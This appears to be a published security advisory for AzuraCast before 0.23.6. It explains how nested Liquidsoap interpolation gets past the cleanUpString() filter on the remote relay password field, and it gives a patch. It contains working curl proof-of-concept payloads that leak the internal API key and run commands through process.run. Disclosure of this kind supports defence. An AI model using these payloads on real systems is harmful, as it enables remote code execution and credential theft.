| Package | Affected versions | Patched versions |
|---|---|---|
| azuracast/azuracast | < 0.23.6 | 0.23.6 |
The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.
cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:
public static function cleanUpString(?string $string): string
{
$string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
// Remove strings that are interpolated
$string = preg_replace(
'/#{(.*)}/U', // Ungreedy: matches minimum chars to first }
'$1',
$string
);
$string = preg_replace(
'/\$\((.*)\)/U',
'$1',
$string ?? ''
);
return $string ?? '';
}
The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:
#{ at position 0.* matches #{EXPR (stops at the first })#{#{EXPR} — replacement with capture group $1 yields: #{EXPR} is appended by the regex engine (it was outside the match)#{EXPR} — a valid Liquidsoap string interpolation expressionCommit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():
ConfigWriter.php:1208-1215:
$password = self::cleanUpString($source->password); // Still vulnerable
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"'; // Double-quoted = interpolated
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThe password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.
toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.
PUT /api/station/{station_id}/remote/{id} with source_password containing the nested payloadmb_substr (payloads fit within this limit)ConfigWriter::getOutputString() calls cleanUpString() on the password# Set malicious password on an existing remote relay
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'
After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.
When Liquidsoap loads the config, the generated line:
password = "#{settings.azuracast.api_key()}"
evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.
# RCE payload using string.char() to bypass quote filtering
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}'
After processing: #{process.run(string.char(105)^string.char(100))} → executes id command.
string.char() and the ^ concatenation operator are used to build the command string without double quotes (which cleanUpString replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).
Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.
The same bypass works with $($(EXPR)) via the second regex /\$\((.*)\)/U.
process.run()settings.azuracast.api_key(), granting the attacker full internal API access to the stationRemoteRelays station permission, not global adminReplace cleanUpString() with toRawString() for the password field, consistent with the fix applied to all other fields in commit ff49ef4. The Shoutcast suffix append needs adjustment to work with raw strings:
// Before (vulnerable):
$password = self::cleanUpString($source->password);
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"';
// After (safe):
$password = $source->password ?? '';
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = ' . self::toRawString($password);
This uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.
Additionally, consider removing cleanUpString() entirely or marking it as deprecated, since toRawString() is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.